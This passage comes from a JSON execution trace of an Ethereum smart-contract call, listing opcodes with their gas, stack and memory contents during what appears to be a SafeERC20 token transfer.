0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8221,"op":"ISZERO","gas":28193,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8222,"op":"PUSH2","gas":28190,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8225,"op":"JUMPI","gas":28187,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0","0x1","0x2029"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8233,"op":"JUMPDEST","gas":28177,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8234,"op":"POP","gas":28176,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8235,"op":"MUL","gas":28174,"gasCost":5,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0xab4dea38af63a9224ad350","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8236,"op":"SWAP1","gas":28169,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0xc45","0x2031172864238297972f0272f27c42cde803bf580"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8237,"op":"JUMP","gas":28166,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0x2031172864238297972f0272f27c42cde803bf580","0xc45"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3141,"op":"JUMPDEST","gas":28158,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0x2031172864238297972f0272f27c42cde803bf580"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3142,"op":"LT","gas":28157,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x20311728642382977181e07544ac50393dc531300","0x2031172864238297972f0272f27c42cde803bf580"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3143,"op":"ISZERO","gas":28154,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3144,"op":"PUSH2","gas":28151,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3147,"op":"JUMPI","gas":28148,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350","0x1","0xc93"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3219,"op":"JUMPDEST","gas":28138,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3220,"op":"POP","gas":28137,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8","0xab4dea38af63a9224ad350"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3221,"op":"POP","gas":28135,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0x301b9e718879e2ea4f8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3222,"op":"PUSH2","gas":28133,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3225,"op":"DUP5","gas":28130,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3226,"op":"DUP5","gas":28127,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3227,"op":"PUSH2","gas":28124,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":3230,"op":"JUMP","gas":28121,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x1988"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6536,"op":"JUMPDEST","gas":28113,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6537,"op":"PUSH1","gas":28112,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6539,"op":"NOT","gas":28109,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":6540,"op":"PUSH1","gas":28106,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x4563918244f40000","0xc9f","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40a